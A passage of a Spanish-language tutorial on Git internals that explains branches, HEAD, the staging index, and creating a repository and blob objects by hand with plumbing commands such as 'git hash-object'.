margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git checkout test</code> changes where <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code> points</figcaption></figure><p>También podrías usar <code>git checkout -b test</code> antes de crear la rama <code>test</code>, el cual es el equivalente de ejecutar <code>git branch test</code> para crear la rama, y luego <code>git checkout test</code> para mover el <code>HEAD</code> a que apunte a la nueva rama.</p><p>Al punto representado en el dibujo de arriba, ¿qué sucedería si hicieras algunos cambios y crearas una nueva confirmación usando <code>git commit</code>? ¿A qué rama será agregada la nueva confirmación?</p><p>La respuesta es la rama <code>test</code>, ya que éste es la rama activa (ya que <code>HEAD</code> apunta a éste). Después, el puntero <code>test</code> se moverá a la nueva confirmación agregada recientemente. Fíjate que <code>HEAD</code> todavía apunta a <code>test</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/test_commit-1.png" class="kg-image" alt="Every time we use , the branch pointer moves to the newly created commit" width="600" height="400" loading="lazy"><figcaption>Every time we use <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git commit</code>, the branch pointer moves to the newly created commit</figcaption></figure><p>Si vuelves atrás a <code>main</code> usando <code>git checkout main</code>, Git moverá el <code>HEAD</code> a que apunta a <code>main</code> nuevamente.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/back_to_main-1.png" class="kg-image" alt="The resulting state after using " width="600" height="400" loading="lazy"><figcaption>The resulting state after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git checkout main</code></figcaption></figure><p>Ahora, si creas otra confirmación, ¿a qué rama será agregado?</p><p>Así es, será agregado a la rama <code>main</code> (y su padre sería la confirmación <code>B2424</code>).</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_to_main-1.png" class="kg-image" alt="The resulting state after creating another commit on the  branch" width="600" height="400" loading="lazy"><figcaption>The resulting state after creating another commit on the <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code> branch</figcaption></figure><h3 id="peque-a-recapitulaci-n-las-ramas">Pequeña recapitulación - Las ramas</h3><ul><li>Una rama es una referencia nombrada a una confirmación.</li><li>Cuando uses <code>git commit</code>, Git crea un objeto de confirmación, y mueve la rama a que apunte a la confirmación creada recientemente.</li><li><code>HEAD</code> es un puntero especial que le dice a Git qué rama es la rama activa (en casos excepcionales, puede apuntar directamente a una confirmación).</li></ul><p>En los próximos capítulos, aprenderás cómo introducir cambios a Git. Crearás un repositorio desde cero – sin usar <code>git init</code>, <code>git add</code>, o <code>git commit</code>. Esto te permitirá profundizar tu entendimiento de lo que está pasando por debajo cuando trabajes con Git. También crearás nuevas ramas, cambiarás ramas, y crearás confirmaciones adicionales – todo sin usar <code>git branch</code> o <code>git checkout</code>. No lo sé tú, pero yo ¡ya estoy entusiasmado!</p><!--kg-card-begin: html--><h2 id="cap-3">Capítulo 3 - Cómo registrar cambios en Git</h2><!--kg-card-end: html--><p>Hasta ahora, hemos aprendido sobre cuatros entidades distintas en Git:</p><ol><li><strong>Blob</strong> – &nbsp;contenidos de un archivo.</li><li><strong>Árbol</strong> – un lista de directorios (de blobs y árboles).</li><li><strong>Confirmación</strong> – una copia instantánea del árbol de trabajo, con algunos metadatos tales como el tiempo o el mensaje de confirmación.</li><li><strong>Rama</strong> – una referencia nombrada a una confirmación.</li></ol><p>Los primeros tres son <em>objetos</em>, donde el cuarto es una forma de referirse a objetos (específicamente, confirmaciones).</p><p>Ahora, es tiempo de entender cómo introducir cambios en Git.</p><p>Cuando trabajas en tu código fuente, trabajas desde un <strong>directorio de trabajo</strong>. Un dir(ectorio) de trabajo (también llamado "árbol de trabajo") es cualquier directorio en tu sistema de archivos el cual tiene un repositorio asociado. Contiene las carpetas y los archivos de tu proyecto, y también un directorio llamado <code>.git</code> del cual hablaremos más adelante. Recuerda que dijimos que Git es un sistema para mantener un sistema de archivos. El directorio de trabajo es la raíz del sistema de archivos para Git.</p><p>Después de que haces algunos cambios, podrías querer registrarlos en tu repositorio. Un <strong>repositorio</strong> (en corto: "repo") es una colección de confirmaciones, cada uno de los cuales es un archivo de lo que el árbol de trabajo del proyecto parecía en una fecha anterior, sea en tu máquina o la de alguien más. Eso es, como dije antes, una confirmación es una copia instantánea del árbol de trabajo.</p><p>Un repositorio también incluye otras cosas además de tus archivos de código, tales como <code>HEAD</code> y <code>ramas</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/working_dir_repo.png" class="kg-image" alt="A working dir alongside the repository" width="600" height="400" loading="lazy"><figcaption>Un directorio de trabajo junto al repositorio</figcaption></figure><p>Fíjate las convenciones del dibujo que uso: incluyo <code>.git</code> dentro del directorio de trabajo, para recordarte que es una carpeta dentro de la carpeta del proyecto en el sistema de archivos. La carpeta <code>.git</code> en realidad contiene los objetos del repositorio, como veremos en el <a href="#cap-4">capítulo 4</a>.</p><p>Hay otros sistemas de control de versión donde los cambios son confirmados directamente desde el directorio de trabajo al repositorio. En Git, este no es el caso. En sí, los cambios son primero registrados en algo llamado el <strong>índice</strong>, o el <strong>área de staging</strong>.</p><p>Ambos términos se refieren a la misma cosa, son usados frecuentemente en la documentación de Git. Usaré estos términos indistintamente a lo largo de este libro, ya que te sentirás mas cómodo con ambos.</p><p>Puedes imaginarte el agregar cambios al índice como una forma de "confirmando" tus cambios, uno por uno, antes de crear una confirmación (el cual registra todos los cambios aprobados de una sola vez).</p><p>Cuando haces <code>checkout</code> a una rama, Git popula el índice y el directorio de trabajo con los contenidos de los archivos ya que existen en la confirmación a la rama al cual está apuntando. Cuando usas <code>git commit</code>, Git crea un nuevo objeto de confirmación basado en el estado de ese índice.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/working_dir_index_repo.png" class="kg-image" alt="The three &quot;states&quot; - working dir, index, and repository" width="600" height="400" loading="lazy"><figcaption>Los tres "estados" - directorio de trabajo, índice, y repositorio</figcaption></figure><p>Usando el índice te permite preparar cuidadosamente cada confirmación. Por ejemplo, podrías tener dos archivos con cambios en tu directorio de trabajo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/working_dir_index_repo_02.png" class="kg-image" alt="Working dir includes two files with changes" width="600" height="400" loading="lazy"><figcaption>Working dir includes two files with changes</figcaption></figure><p>Por ejemplo, digamos que estos dos archivos son <code>1.txt</code> y <code>2.txt</code>. Es posible agregar solamente uno de ellos (por ejemplo, <code>1.txt</code>) al índice, usando <code>git add 1.txt</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/working_dir_index_repo_03.png" class="kg-image" alt="The state after staging " width="600" height="400" loading="lazy"><figcaption>The state after staging <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">1.txt</code></figcaption></figure><p>Como resultado, el estado del índice coincide con el estado del <code>HEAD</code> (en este caso, "Commit 2"), con la excepción del archivo 1.txt, el cual coincide el estado de <code>1.txt</code> en el directorio de trabajo. Ya que no pusiste en el área de preparación a <code>2.txt</code>, el índice no incluye a la versión actualizada de <code>2.txt</code>. Así que el estado de <code>2.txt</code> en el índice coincide con el estado de <code>2.txt</code> en el "Commit 2".</p><p>En detrás de escena - una vez que pones en el área de preparación una versión de un archivo, Git crea un objeto blob con los contenidos del archivo. Este objeto blob es agregado luego al índice. Siempre y cuando solamente modifiques el archivo en el directorio de trabajo, sin ponerlo en el área de preparación, los cambios que hagas no son registrados en los objetos blob.</p><p>Cuando consideramos la figura previa, fíjate que no dibujo la versión del área de preparación del archivo como parte del "repositorio", ya que esta representación, el "repositorio" se refiere a un árbol de confirmaciones y sus referencias, y este blob no ha sido parte de ninguna confirmación.</p><p>Ahora, puedes usar <code>git commit</code> para registrar el cambio a <code>1.txt</code> <em>solamente</em>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/working_dir_index_repo_04.png" class="kg-image" alt="The state after using " width="600" height="400" loading="lazy"><figcaption>The state after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git commit</code></figcaption></figure><p>Usando <code>git commit</code> ejecuta dos operaciones principales:</p><ol><li>Crea un nuevo objeto de confirmación. Este objeto de confirmación refleja el estado del índice cuando ejecutaste el comando <code>git commit</code>.</li><li>Actualiza a la rama activa para que apunte a la confirmación creada recientemente. En este ejemplo, el <code>main</code> ahora apunta al "Commit 3", el nuevo objeto de confirmación.</li></ol><h3 id="c-mo-crear-un-repo-la-forma-convencional">Cómo crear un repo – La Forma Convencional</h3><p>Vamos a asegurarnos que entiendas cómo los términos que hemos introducidos se relacionan al proceso de crear un nuevo repositorio. Este es un vistazo rápido de alto nivel, antes de sumergirnos más profundamente en este proceso.</p><p>Inicializa un nuevo repositorio usando <code>git init my_repo</code>, y luego cambia tu directorio al repositorio usando <code>cd my_repo</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_init.png" class="kg-image" alt="git_init" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git init</code></figcaption></figure><p>Usando <code>tree -f .git</code> puedes ver que ejecutando <code>git init my_repo</code> resultó en unos pocos sub-directorios dentro de <code>.git</code>. (El argumento <code>-f</code> incluye archivos en la salida del árbol).</p><p>Nota: si estás usando Windows, ejecuta <code>tree /f .git</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_init_tree_f.png" class="kg-image" alt="The output of  after using " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">tree -f .git</code> after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git init</code></figcaption></figure><p>Crea un archivo dentro del directorio <code>my_repo</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_f_txt.png" class="kg-image" alt="Creating " width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">f.txt</code></figcaption></figure><p>Este archivo está dentro de tu directorio de trabajo. Si ejecutas <code>git status</code>, verás este archivo no está rastreado:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_f_txt_git_status.png" class="kg-image" alt="The result of " width="600" height="400" loading="lazy"><figcaption>The result of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code></figcaption></figure><p>Los archivos en tu directorio de trabajo puede ser uno de los dos estados: <strong>rastreados</strong> o <strong>no rastreados</strong>.</p><p>Los archivos <strong>rastreados</strong> son archivos que Git "conoce". Ellos estuvieron en la última confirmación, o están en el área de preparación ahora (eso es, están en el área staging).</p><p>Los archivos <strong>no rastreados</strong> son todos los demás – cualquier archivo en tu directorio de trabajo que no estuvieron en tu última confirmación, y que no están en tu área de preparación.</p><p>El nuevo archivo (<code>f.txt</code>) no está rastreado actualmente, ya que no lo has agregado al área de preparación, y no ha sido incluido en la confirmación anterior.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/drawing_new_untracked_file.png" class="kg-image" alt=" is in the working directory (and untracked)" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">f.txt</code> is in the working directory (and untracked)</figcaption></figure><p>Ahora puedes agregar este archivo al área de preparación (también referido como poner en staging este archivo) usando <code>git add f.txt</code>. Puedes verificar que ha sido puesto en el área de preparación ejecutando <code>git status</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_add_status.png" class="kg-image" alt="Adding the new file to the staging area" width="600" height="400" loading="lazy"><figcaption>Adding the new file to the staging area</figcaption></figure><p>Así que ahora el estado del índice coincide con el directorio de trabajo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/drawing_new_staged_file.png" class="kg-image" alt="The state after adding the new file" width="600" height="400" loading="lazy"><figcaption>The state after adding the new file</figcaption></figure><p>Ahora puedes crear una confirmación usando <code>git commit</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/initial_commit.png" class="kg-image" alt="Committing an initial commit" width="600" height="400" loading="lazy"><figcaption>Committing an initial commit</figcaption></figure><p>Si ejecutas <code>git status</code> nuevamente, verás que el estado está limpio - eso es, el estado de <code>HEAD</code> (el cal apunta a tu confirmación inicial) equivale al estado del índice, y también el estado del directorio de trabajo. Usando <code>git log</code> verás en realidad que <code>HEAD</code> apunta a <code>main</code> el cual a su vez apunta a la nueva confirmación:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/initial_commit_git_log.png" class="kg-image" alt="The output of  after introducing the first commit" width="600" height="400" loading="lazy"><figcaption>The output of `git log` after introducing the first commit</figcaption></figure><p>¿Ha cambiado algo dentro del directorio <code>.git</code>? Ejecuta <code>tree -f .git</code> para verificar:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/tree_f_after_initial_commit.png" class="kg-image" alt="A lot of things have changed within " width="600" height="400" loading="lazy"><figcaption>A lot of things have changed within <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">.git</code></figcaption></figure><p>Aparentemente, un montón ha cambiado. Es tiempo de sumergirnos más profundo en la estructura de <code>.git</code> y entender qué está pasando por detrás cuando ejecutas <code>git init</code>, <code>git add</code> o <code>git commit</code>. Eso es exactamente lo que cubrirá el próximo capítulo.</p><h3 id="recapitulaci-n-c-mo-registrar-cambios-en-git">Recapitulación - Cómo registrar cambios en Git</h3><p>Aprendiste sobre los tres "estados" distintos del sistema de archivos que Git mantiene:</p><ul><li><strong>Dir(ectorio) de trabajo</strong> (también llamado "árbol de trabajo") - cualquier directorio en tu sistema de archivos el cual tiene un repositorio asociado.</li><li><strong>Índice</strong>, o el <strong>Área de preparación</strong> - un espacio de interacción para la próxima confirmación.</li><li><strong>Repositorio</strong> (en corto: "repo") - una colección de confirmaciones, el cual cada una es una copia instantánea del árbol de trabajo.</li></ul><p>Cuando introduces cambios en Git, casi siempre sigue este orden:</p><ol><li>Cambias el directorio de trabajo primero</li><li>Luego pones estos cambios en el área de preparación (o algunos de ellos) al índice</li><li>Y finalmente, confirmas estos cambios - de esta forma actualiza el repositorio con una nueva confirmación. El estado de esta nueva confirmación coincide con el estado del índice</li></ol><p>¿Listo para sumergirte más profundo?</p><!--kg-card-begin: html--><h2 id="cap-4">Capítulo 4 - ¿Cómo crear un repo desde cero?</h2><!--kg-card-end: html--><p>Hasta ahora hemos cubiertos algunos fundamentos de Git, y ahora deberías estar listo para realmente continuar con <em>Git</em>.</p><p>Para entender profundamente cómo funciona Git, crearás un repositorio, pero esta vez – lo construirás desde cero. Como en otros capítulos, te animo a intentar los comandos a lo largo de este capítulo.</p><h3 id="c-mo-configurar-git">Cómo configurar <code>.git</code></h3><p>Crea un nuevo directorio, y ejecuta <code>git status</code> dentro:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_dir_git_status.png" class="kg-image" alt=" in a new directory" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> in a new directory</figcaption></figure><p>Muy bien, parece que Git no está feliz ya que no tiene una carpeta <code>.git</code> todavía. Lo natural por hacer sería crear ese directorio e intentarlo otra vez:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/mkdir_git_git_status.png" class="kg-image" alt=" after creating " width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> after creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">.git</code></figcaption></figure><p>Aparentemente, crear un directorio <code>.git</code> no es suficiente. Necesitas agregar algún contenido a ese directorio.</p><p>Un repositorio de Git tiene dos conceptos principales:</p><ul><li>Una colección de <strong>objetos</strong> – blobs, árboles, y confirmaciones.</li><li>Un sistema de <strong>nombramiento</strong> de esos objetos – llamados referencias.</li></ul><p>Un repositorio también podría contener otras cosas, tales como hooks, pero a lo menos – debe incluir objetos y referencias.</p><p>Crear un repositorio para los objetos en <code>.git/objets</code>, y un directorio para las referencias (en forma corta: "refs") en <code>.git/refs</code> (en sistemas Windows – <code>.git\objects</code> y <code>.git\refs</code>, respectivamente).</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_folders_git_tree.png" class="kg-image" alt="Considering the directory tree" width="600" height="400" loading="lazy"><figcaption>Considering the directory tree</figcaption></figure><p>Un tipo de referencia son las ramas. Internamente, Git llama a las ramas por el nombre de <code>heads</code>. Crea un directorio para las ramas – <code>.git/refs/heads</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_heads_folder_git_tree.png" class="kg-image" alt="The directory tree" width="600" height="400" loading="lazy"><figcaption>The directory tree</figcaption></figure><p>Esto todavía no cambia el resultado de <code>git status</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_heads_folder_git_status.png" class="kg-image" alt=" after creating " width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> after creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">.git/refs/heads</code></figcaption></figure><p>¿Cómo sabe Git dónde comenzar cuando busca una confirmación en el repositorio? Como expliqué antes, busca el <code>HEAD</code>, el cual apunta a la rama actual activa (o la confirmación, en algunos casos).</p><p>Así que, necesitas crear el <code>HEAD</code>, el cual es sólo un archivo que reside en <code>.git/HEAD</code>. Puedes aplicar lo siguiente:</p><p>En UNIX:</p><pre><code class="language-bash">echo "ref: refs/heads/main" &gt; .git/HEAD
</code></pre><p>En Windows:</p><pre><code class="language-bash">echo ref: refs/heads/main &gt; .git\HEAD
</code></pre><p>Así que ahora sabes cómo se implementa <code>HEAD</code> – es simplemente un archivo, y su contenido describe a qué apunta.</p><p>Siguiendo el comando de arriba, <code>git status</code> parece cambiar su pensamiento:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_head_git_status.png" class="kg-image" alt=" is just a file" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code> is just a file</figcaption></figure><p>Fíjate que Git "cree" que estás en la rama llamada <code>main</code>, aunque no has creado esta rama. <code>main</code> es sólo un nombre. También puedes hacer creer a Git que estás en una rama llamada <code>banana</code> si quieres:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/banana.png" class="kg-image" alt="Creating a branch named " width="600" height="400" loading="lazy"><figcaption>Creating a branch named <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">banana</code></figcaption></figure><p>Vuelve al <code>main</code>, ya que continuarás trabajando (mayormente) allí a lo largo de este capítulo, sólo para aderirnos a la convención regular:</p><pre><code class="language-bash">echo "ref: refs/heads/main" &gt; .git/HEAD
</code></pre><p>Ahora que tienes tu directorio <code>.git</code> listo, puedes trabajar a tu manera para hacer una confirmación (de nuevo, sin usar <code>git add</code> o <code>git commit</code>).</p><h3 id="comandos-de-plomer-a-vs-comandos-de-porcelana-en-git">Comandos de plomería vs comandos de porcelana en Git</h3><p>A este punto, debería ser bueno hacer una distinción entre dos tipos de comandos de Git: de plomería y de porcelana. La aplicación de los términos extrañamente viene de los baños, tradicionalmente los hechos de porcelana, y la infraestructura de la plomería (las cañerías y los drenajes).</p><p>La capa de porcelana provee una interfaz amigable para el usuario en la plomería. La mayoría de la gente solamente manejan la porcelana. Aún así, cuando las cosas van (terriblemente) mal, y alguien quiere entender el por qué, tendrían que remangarse y tratar con la plomería.</p><p>Git usa esta terminología como una analogía para separar los comandos de bajo nivel que los usuarios usualmente no necesitan usar directamente (comandos "de plomería") de los comandos de alto nivel (comandos "de porcelana").</p><p>Hasta ahora, has lidiado con comandos de porcelana – <code>git init</code>, <code>git add</code> o <code>git commit</code>. Es tiempo de ir más profundo, y que te familiarices con algunos comandos de plomería.</p><h3 id="c-mo-crear-objetos-en-git">Cómo crear objetos en Git</h3><p>Empieza por crear un objeto y escríbelo dentro de la base de datos de los objetos de Git, que reside dentro de <code>.git/objects</code>. Para saber el valor del hash SHA-1 de un blob, puedes usar <code>git hash-object</code>. (Sí, un comando de plomería), de la siguiente forma:</p><p>En UNIX:</p><pre><code class="language-bash">echo "Git is awesome" | git hash-object --stdin
</code></pre><p>En Windows:</p><pre><code class="language-bash">&gt; echo Git is awesome | git hash-object --stdin
</code></pre><p>Usando <code>--stdin</code> estás instruyendo a <code>git hash-object</code> que tome su entrada de la entrada estándar. Esto te proveerá con el valor del hash relevante:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/hash_object.png" class="kg-image" alt="Getting a blob's SHA-1" width="600" height="400" loading="lazy"><figcaption>Getting a blob's SHA-1</figcaption></figure><p>En realidad para escribir ese blob dentro de la base de datos de objetos de Git, puedes agregar el conmutador <code>-w</code> por <code>git hash-object</code>. Después, verifica el contenido de la carpeta <code>.git</code>, y mira si han cambiado:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/write_blob.png" class="kg-image" alt="Writing a blob to the objects' database" width="600" height="400" loading="lazy"><figcaption>Writing a blob to the objects' database</figcaption></figure><p>Puedes ver que el hash de tu blob es <code>7a9bd34a0244eaf2e0dda907a521f43d417d94f6</code>. También puedes ver que un directorio ha sido creado como <code>.git/objects</code>, un directorio llamado <code>7a</code>, y dentro, un archivo con el nombre de <code>7a9bd34a0244eaf2e0dda907a521f43d417d94f6</code>.</p><p>Lo que Git hizo aquí es tomar los primeros dos caracteres del hash SHA-1, y usarlos como el nombre de un directorio. Los caracteres sobrantes son usados como el nombre de archivo para el archivo que en realidad contiene el blob.</p><p>¿Por qué eso es así? Considera un repositorio considerablemente grande, uno que tiene 400,000 objetos (blobs, árboles, y confirmaciones) en su base de datos. Buscar un hash dentro de esa lista de 400,000 hashes podría tomar un buen rato. Así, Git simplemente divide ese problema por <code>256</code>.</p><p>Para buscar el hash de arriba, Git primero miraría el directorio llamado <code>7a</code> dentro del directorio <code>.git/objects</code>, el cual tendría hasta 256 directorios (<code>00</code> 